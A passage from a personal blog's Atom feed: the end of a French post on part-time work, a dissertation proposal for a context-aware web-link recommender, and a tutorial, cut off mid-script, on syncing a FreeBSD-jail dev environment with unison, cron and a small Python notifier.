au fait de laisser le cerveau reposer, au moins en ce qui concerne la partie
informatique. Bricoler demande de la concentration et de la réflexion mais
permet également de laisser son esprit vagabonder. J'ai pu donc avancer mes
sur certaines parties de mon mémoire alors que j'étais en train de poser le
bardage sur la garage par exemple.&lt;/p&gt;
&lt;p&gt;Passer du temps sur autre chose (qui demandait également de la concentration
par ailleurs) m'a permis d'être réellement plus efficace lors de mes phases de
rédaction et de lecture.&lt;/p&gt;
&lt;p&gt;Je me demande depuis quelques temps quel sera mon futur travail et quelle forme
il prendra. Éééh oui, la fin des études arrive pour la fin de l'année, c'est
pas une blague. Et je me pose sérieusement la question du travail aux 3/4
temps. La raison principale étant que je ne souhaites pas passer la majeure
partie de mon temps à travailler derrière un écran et que la formation que j'ai
m'y rattache beaucoup. Ne me comprenez pas de travers: j'aime ce que je fais;
mais j'aime aussi ce que je fais à coté de l'informatique: associatif, projets
alternatifs, permaculture et autres.&lt;/p&gt;
&lt;p&gt;Viens s'ajouter à ça le fait d'avoir une qualité de vie qui me semble pouvoir
passer par le fait de travailler moins (&amp;quot;il est marant ce gamin, il à pas encore commencé
à travailler qu'il veut bosser moins, regarde moi cette feignasse!&amp;quot;) et
travailler plus efficacement. Bien sur, on n'est jamais 100% productif et c'est
d'autant plus vrai pour moi, alors si gagner en productivité peut passer par
travailler moins, pourquoi pas s'y essayer !&lt;/p&gt;
&lt;p&gt;Peut être que vous pratiquez déjà le travail au 3/4 temps, que vous avez des
retours d'expérience à faire : fausse bonne idée ? Vraie bonne idée ?&lt;/p&gt;
</content></entry><entry><title>Analyse users' browsing context to build up a web recommender</title><link href="https://blog.notmyidea.org/analyse-users-browsing-context-to-build-up-a-web-recommender.html" rel="alternate"></link><published>2011-04-01T00:00:00+02:00</published><updated>2011-04-01T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-04-01:/analyse-users-browsing-context-to-build-up-a-web-recommender.html</id><summary type="html">&lt;p&gt;No, this is not an april's fool ;)&lt;/p&gt;
&lt;p&gt;Wow, it's been a long time. My year in Oxford is going really well. I realized
few days ago that the end of the year is approaching really quickly.
Exams are coming in one month or such and then I'll be working full …&lt;/p&gt;</summary><content type="html">&lt;p&gt;No, this is not an april's fool ;)&lt;/p&gt;
&lt;p&gt;Wow, it's been a long time. My year in Oxford is going really well. I realized
few days ago that the end of the year is approaching really quickly.
Exams are coming in one month or such and then I'll be working full time on my dissertation topic.&lt;/p&gt;
&lt;p&gt;When I learned we'll have about 6 month to work on something, I first thought
about doing a packaging related stuff, but finally decided to start something
new. After all, that's the good time to learn.&lt;/p&gt;
&lt;p&gt;Since a long time, I'm being impressed by the &lt;a class="reference external" href="http://last.fm"&gt;last.fm&lt;/a&gt;
recommender system. They're &lt;em&gt;scrobbling&lt;/em&gt; the music I listen to since something
like 5 years now and the recommendations they're doing are really nice and
accurate (I discovered &lt;strong&gt;a lot&lt;/strong&gt; of great artists listening to the
&amp;quot;neighbour radio&amp;quot;.) (by the way, &lt;a class="reference external" href="http://lastfm.com/user/akounet/"&gt;here is&lt;/a&gt;
my lastfm account)&lt;/p&gt;
&lt;p&gt;So I decided to work on recommender systems, to better understand what is it
about.&lt;/p&gt;
&lt;p&gt;Recommender systems are usually used to increase the sales of products
(like Amazon.com does) which is not really what I'm looking for (The one who
know me a bit know I'm kind of sick about all this consumerism going on).&lt;/p&gt;
&lt;p&gt;Actually, the most simple thing I thought of was the web: I'm browsing it quite
every day and each time new content appears. I've stopped to follow &lt;a class="reference external" href="https://bitbucket.org/bruno/aspirator/"&gt;my feed
reader&lt;/a&gt; because of the
information overload, and reduced drastically the number of people I follow &lt;a class="reference external" href="http://twitter.com/ametaireau/"&gt;on
twitter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Too much information kills the information.&lt;/p&gt;
&lt;p&gt;You shall got what will be my dissertation topic: a recommender system for
the web. Well, such recommender systems already exists, so I will try to add contextual
information to them: you're probably not interested by the same topics at different
times of the day, or depending on the computer you're using. We can also
probably make good use of the way you browse to create groups into the content
you're browsing (or even use the great firefox4 tab group feature).&lt;/p&gt;
&lt;p&gt;There is a large part of concerns to have about user's privacy as well.&lt;/p&gt;
&lt;p&gt;Here is my proposal (copy/pasted from the one I had to do for my master)&lt;/p&gt;
&lt;div class="section" id="introduction-and-rationale"&gt;
&lt;h2&gt;Introduction and rationale&lt;/h2&gt;
&lt;p&gt;Nowadays, people surf the web more and more often. New web pages are created
each day so the amount of information to retrieve is more important as the time
passes. These users uses the web in different contexts, from finding cooking
recipes to technical articles.&lt;/p&gt;
&lt;p&gt;A lot of people share the same interest to various topics, and the quantity of
information is such than it's really hard to triage them efficiently without
spending hours doing it. Firstly because of the huge quantity of information
but also because the triage is something relative to each person. Although, this
triage can be facilitated by fetching the browsing information of all
particular individuals and put the in perspective.&lt;/p&gt;
&lt;p&gt;Machine learning is a branch of Artificial Intelligence (AI) which deals with how
a program can learn from data. Recommendation systems are a particular
application area of machine learning which is able to recommend things (links
in our case) to the users, given a particular database containing the previous
choices users have made.&lt;/p&gt;
&lt;p&gt;This browsing information is currently available in browsers. Even if it is not
in a very usable format, it is possible to transform it to something useful.
This information gold mine just wait to be used. Although, it is not as simple as
it can seems at the first approach: It is important to take care of the context
the user is in while browsing links. For instance, It's more likely that during
the day, a computer scientist will browse computing related links, and that during
the evening, he browse cooking recipes or something else.&lt;/p&gt;
&lt;p&gt;Page contents are also interesting to analyse, because that's what people
browse and what actually contain the most interesting part of the information.
The raw data extracted from the browsing can then be translated into
something more useful (namely tags, type of resource, visit frequency,
navigation context etc.)&lt;/p&gt;
&lt;p&gt;The goal of this dissertation is to create a recommender system for web links,
including this context information.&lt;/p&gt;
&lt;p&gt;At the end of the dissertation, different pieces of software will be provided,
from raw data collection from the browser to a recommendation system.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="background-review"&gt;
&lt;h2&gt;Background Review&lt;/h2&gt;
&lt;p&gt;This dissertation is mainly about data extraction, analysis and recommendation
systems. Two different research area can be isolated: Data preprocessing and
Information filtering.&lt;/p&gt;
&lt;p&gt;The first step in order to make recommendations is to gather some data. The
more data we have available, the better it is (T. Segaran, 2007). This data can
be retrieved in various ways, one of them is to get it directly from user's
browsers.&lt;/p&gt;
&lt;div class="section" id="data-preparation-and-extraction"&gt;
&lt;h3&gt;Data preparation and extraction&lt;/h3&gt;
&lt;p&gt;The data gathered from browsers is basically URLs and additional information
about the context of the navigation. There is clearly a need to extract more
information about the meaning of the data the user is browsing, starting by the
content of the web pages.&lt;/p&gt;
&lt;p&gt;Because the information provided on the current Web is not meant to be read by
machines (T. Berners Lee, 2001) there is a need of tools to extract meaning from
web pages. The information needs to be preprocessed before stored in a machine
readable format, allowing to make recommendations (Choochart et Al, 2004).&lt;/p&gt;
&lt;p&gt;Data preparation is composed of two steps: cleaning and structuring (
Castellano et Al, 2007). Because raw data can contain a lot of un-needed text
(such as menus, headers etc.) and need to be cleaned prior to be stored.
Multiple techniques can be used here and belongs to boilerplate removal and
full text extraction (Kohlschütter et Al, 2010).&lt;/p&gt;
&lt;p&gt;Then, structuring the information: category, type of content (news, blog, wiki)
can be extracted from raw data. This kind of information is not clearly defined
by HTML pages so there is a need of tools to recognise them.&lt;/p&gt;
&lt;p&gt;Some context-related information can also be inferred from each resource. It can go
from the visit frequency to the navigation group the user was in while
browsing. It is also possible to determine if the user &amp;quot;liked&amp;quot; a resource, and
determine a mark for it, which can be used by information filtering a later
step (T. Segaran, 2007).&lt;/p&gt;
&lt;p&gt;At this stage, structuring the data is required. Storing this kind of
information in RDBMS can be a bit tedious and require complex queries to get
back the data in an usable format. Graph databases can play a major role in the
simplification of information storage and querying.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="information-filtering"&gt;
&lt;h3&gt;Information filtering&lt;/h3&gt;
&lt;p&gt;To filter the information, three techniques can be used (Balabanovic et
Al, 1997):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;The content-based approach states that if an user have liked something in the
past, he is more likely to like similar things in the future. So it's about
establishing a profile for the user and compare new items against it.&lt;/li&gt;
&lt;li&gt;The collaborative approach will rather recommend items that other similar users
have liked. This approach consider only the relationship between users, and
not the profile of the user we are making recommendations to.&lt;/li&gt;
&lt;li&gt;the hybrid approach, which appeared recently combine both of the previous
approaches, giving recommendations when items score high regarding user's
profile, or if a similar user already liked it.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Grouping is also something to consider at this stage (G. Myatt, 2007).
Because we are dealing with huge amount of data, it can be useful to detect group
of data that can fit together. Data clustering is able to find such groups (T.
Segaran, 2007).&lt;/p&gt;
&lt;p&gt;References:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Balabanović, M., &amp;amp; Shoham, Y. (1997). Fab: content-based, collaborative
recommendation. Communications of the ACM, 40(3), 6672. ACM.
Retrieved March 1, 2011, from &lt;a class="reference external" href="http://portal.acm.org/citation.cfm?id=245108.245124&amp;amp;amp"&gt;http://portal.acm.org/citation.cfm?id=245108.245124&amp;amp;amp&lt;/a&gt;;.&lt;/li&gt;
&lt;li&gt;Berners-Lee, T., Hendler, J., &amp;amp; Lassila, O. (2001).
The semantic web: Scientific american. Scientific American, 284(5), 3443.
Retrieved November 21, 2010, from &lt;a class="reference external" href="http://www.citeulike.org/group/222/article/1176986"&gt;http://www.citeulike.org/group/222/article/1176986&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Castellano, G., Fanelli, A., &amp;amp; Torsello, M. (2007).
LODAP: a LOg DAta Preprocessor for mining Web browsing patterns. Proceedings of the 6th Conference on 6th WSEAS Int. Conf. on Artificial Intelligence, Knowledge Engineering and Data Bases-Volume 6 (p. 1217). World Scientific and Engineering Academy and Society (WSEAS). Retrieved March 8, 2011, from &lt;a class="reference external" href="http://portal.acm.org/citation.cfm?id=1348485.1348488"&gt;http://portal.acm.org/citation.cfm?id=1348485.1348488&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Kohlschutter, C., Fankhauser, P., &amp;amp; Nejdl, W. (2010). Boilerplate detection using shallow text features. Proceedings of the third ACM international conference on Web search and data mining (p. 441450). ACM. Retrieved March 8, 2011, from &lt;a class="reference external" href="http://portal.acm.org/citation.cfm?id=1718542"&gt;http://portal.acm.org/citation.cfm?id=1718542&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Myatt, G. J. (2007). Making Sense of Data: A Practical Guide to Exploratory
Data Analysis and Data Mining.&lt;/li&gt;
&lt;li&gt;Segaran, T. (2007). Collective Intelligence.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="privacy"&gt;
&lt;h2&gt;Privacy&lt;/h2&gt;
&lt;p&gt;The first thing that's come to people minds when it comes to process their
browsing data is privacy. People don't want to be stalked. That's perfectly
right, and I don't either.&lt;/p&gt;
&lt;p&gt;But such a system don't have to deal with people identities. It's completely
possible to process completely anonymous data, and that's probably what I'm
gonna do.&lt;/p&gt;
&lt;p&gt;By the way, if you have interesting thoughts about that, if you do know
projects that do seems related, fire the comments !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="what-s-the-plan"&gt;
&lt;h2&gt;What's the plan ?&lt;/h2&gt;
&lt;p&gt;There is a lot of different things to explore, especially because I'm
a complete novice in that field.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;I want to develop a firefox plugin, to extract the browsing informations (
still, I need to know exactly which kind of informations to retrieve). The
idea is to provide some &lt;em&gt;raw&lt;/em&gt; browsing data, and then to transform it and to
store it in the better possible way.&lt;/li&gt;
&lt;li&gt;Analyse how to store the informations in a graph database. What can be the
different methods to store this data and to visualize the relationship
between different pieces of data? How can I define the different contexts,
and add those informations in the db?&lt;/li&gt;
&lt;li&gt;Process the data using well known recommendation algorithms. Compare the
results and criticize their value.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There is plenty of stuff I want to try during this experimentation:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;I want to try using Geshi to visualize the connexion between the links,
and the contexts&lt;/li&gt;
&lt;li&gt;Try using graph databases such as Neo4j&lt;/li&gt;
&lt;li&gt;Having a deeper look at tools such as scikit.learn (a machine learning
toolkit in python)&lt;/li&gt;
&lt;li&gt;Analyse web pages in order to categorize them. Processing their
contents as well, to do some keyword based classification will be done.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lot of work on its way, yay !&lt;/p&gt;
&lt;/div&gt;
</content><category term="recommendations"></category><category term="browsers"></category><category term="users"></category></entry><entry><title>Working directly on your server? How to backup and sync your dev environment with unison</title><link href="https://blog.notmyidea.org/working-directly-on-your-server-how-to-backup-and-sync-your-dev-environment-with-unison.html" rel="alternate"></link><published>2011-03-16T00:00:00+01:00</published><updated>2011-03-16T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-03-16:/working-directly-on-your-server-how-to-backup-and-sync-your-dev-environment-with-unison.html</id><summary type="html">&lt;p&gt;I have a server running freebsd since some time now, and was wondering about
the possibility to directly have a development environment ready to use when
I get a internet connexion, even if I'm not on my computer.&lt;/p&gt;
&lt;p&gt;Since I use vim to code, and spend most of my time …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have a server running freebsd since some time now, and was wondering about
the possibility to directly have a development environment ready to use when
I get a internet connexion, even if I'm not on my computer.&lt;/p&gt;
&lt;p&gt;Since I use vim to code, and spend most of my time in a console while
developing, it's possible to work via ssh, from everywhere.&lt;/p&gt;
&lt;p&gt;The only problem is the synchronisation of the source code, config files etc.
from my machine to the server.&lt;/p&gt;
&lt;p&gt;Unison provides an interesting way to synchronise two folders, even over
a network. So let's do it !&lt;/p&gt;
&lt;div class="section" id="creating-the-jail"&gt;
&lt;h2&gt;Creating the jail&lt;/h2&gt;
&lt;p&gt;In case you don't use FreeBSD, you can skip this section.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# I have a flavour jail named default&lt;/span&gt;
$ ezjail-admin -f default workspace.notmyidea.org &lt;span class="m"&gt;172&lt;/span&gt;.19.1.6
$ ezjail-admin start workspace.notmyidea.org
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In my case, because the &amp;quot;default&amp;quot; flavour contains already a lot of interesting
things, my jail come already setup with ssh, bash and vim for instance, but
maybe you'll need it in your case.&lt;/p&gt;
&lt;p&gt;I want to be redirected to the ssh of the jail when I connect to the host with
the 20006 port. Add lines in &lt;cite&gt;/etc/pf.conf&lt;/cite&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
workspace_jail=&amp;quot;172.19.1.6&amp;quot;
rdr on $ext_if proto tcp from any to $ext_ip port 20006 -&amp;gt; $workspace_jail port 22
&lt;/pre&gt;
&lt;p&gt;Reload packet filter rules&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ /etc/rc.d/pf reload
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="working-with-unison"&gt;
&lt;h2&gt;Working with unison&lt;/h2&gt;
&lt;p&gt;Now that we've set up the jail. Set up unison on the server and on your client.
Unison is available on the freebsd ports so just install it&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ssh notmyidea.org -p &lt;span class="m"&gt;20006&lt;/span&gt;
$ make -C /usr/ports/net/unison-nox11 config-recursive
$ make -C /usr/ports/net/unison-nox11 package-recursive
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Install as well unison on your local machine. Double check to install the same
version on the client and on the server. Ubuntu contains the 2.27.57 as well as
the 2.32.52.&lt;/p&gt;
&lt;p&gt;Check that unison is installed and reachable via ssh from your machine&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ssh notmyidea.org -p &lt;span class="m"&gt;20006&lt;/span&gt; unison -version
unison version &lt;span class="m"&gt;2&lt;/span&gt;.27.157
$ unison -version
unison version &lt;span class="m"&gt;2&lt;/span&gt;.27.57
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="let-sync-our-folders"&gt;
&lt;h2&gt;Let sync our folders&lt;/h2&gt;
&lt;p&gt;The first thing I want to sync is my vim configuration. Well, it's already &lt;a class="reference external" href="http://github.com/ametaireau/dotfiles/"&gt;in
a git repository&lt;/a&gt; but let's try to use
unison for it right now.&lt;/p&gt;
&lt;p&gt;I have two machines then: &lt;cite&gt;workspace&lt;/cite&gt;, the jail, and &lt;cite&gt;ecureuil&lt;/cite&gt; my laptop.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;unison .vim ssh://notmyidea.org:20006/.vim
unison .vimrc ssh://notmyidea.org:20006/.vimrc
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It is also possible to put all the informations in a config file, and then to
only run &lt;cite&gt;unison&lt;/cite&gt;. (fire up &lt;cite&gt;vim ~/.unison/default.prf&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Here is my config:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
root = /home/alexis
root = ssh://notmyidea.org:20006
path = .vimrc
path = dotfiles
path = dev
follow = Name *
&lt;/pre&gt;
&lt;p&gt;My vimrc is in fact a symbolic link on my laptop, but I don't want to specify
each of the links to unison. That's why the &lt;cite&gt;follow = Name *&lt;/cite&gt; is for.&lt;/p&gt;
&lt;p&gt;The folders you want to synchronize are maybe a bit large. If so, considering
others options such as rsync for the first import may be a good idea (I enjoyed
my university huge upload bandwith to upload 2GB in 20mn ;)&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="run-the-script-frequently"&gt;
&lt;h2&gt;Run the script frequently&lt;/h2&gt;
&lt;p&gt;Once that done, you just need to run the unison command line some times when
you want to sync your two machines. I've wrote a tiny script to get some
feedback from the sync:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;
&lt;span class="n"&gt;DEFAULT_LOGFILE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;~/unison.log&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;PROGRAM_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Unison syncer&amp;quot;&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DEFAULT_LOGFILE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;program_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;PROGRAM_NAME&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="c1"&gt;# init&lt;/span&gt;
&lt;span class="n"&gt;display_message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;True&lt;/span&gt;
&lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;span class="n"&gt;before&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;# call unison to make the sync&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;unison -batch &amp;gt; {0}&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c1"&gt;# get the duration of the operation&lt;/span&gt;
&lt;span class="n"&gt;td&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;before&lt;/span&gt;
&lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;td&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;microseconds&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;td&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;seconds&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;td&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;days&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;
&lt;span class="c1"&gt;# check what was the last entry in the log&lt;/span&gt;
&lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;expanduser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;logfile&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;No updates to propagate&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;span class="n"&gt;display_message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Synchronization&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot; It took {0}s.&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delta&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;display_message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;notify-send -i {2} &amp;quot;{0}&amp;quot; &amp;quot;{1}&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;program_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;error&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;info&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;__main__&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;sync&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is probably perfectible, but that does the job.&lt;/p&gt;
&lt;p&gt;Last step is to tell you machine to run that frequently. That's what &lt;cite&gt;crontab&lt;/cite&gt;
is made for, so let's &lt;cite&gt;crontab -e&lt;/cite&gt;:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ * */3 * * * . ~/.Xdbus; /usr/bin/python /home/alexis/dev/python/unison-syncer/sync.py
&lt;/pre&gt;
&lt;p&gt;The &lt;cite&gt;~/.Xdbus&lt;/cite&gt; allows cron to communicate with your X11 session. Here is its
content.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c1"&gt;# Get the pid of nautilus&lt;/span&gt;
&lt;span class="nv"&gt;nautilus_pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;pgrep -u &lt;span class="nv"&gt;$LOGNAME&lt;/span&gt; -n nautilus&lt;span class="k"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# If nautilus isn&amp;#39;t running, just exit silently&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$nautilus_pid&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;span class="c1"&gt;# Grab the DBUS_SESSION_BUS_ADDRESS variable from nautilus&amp;#39;s environment&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt; &lt;span class="k"&gt;$(&lt;/span&gt;tr &lt;span class="s1"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &amp;lt; /proc/&lt;span class="nv"&gt;$nautilus_pid&lt;/span&gt;/environ &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^DBUS_SESSION_BUS_ADDRESS=&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
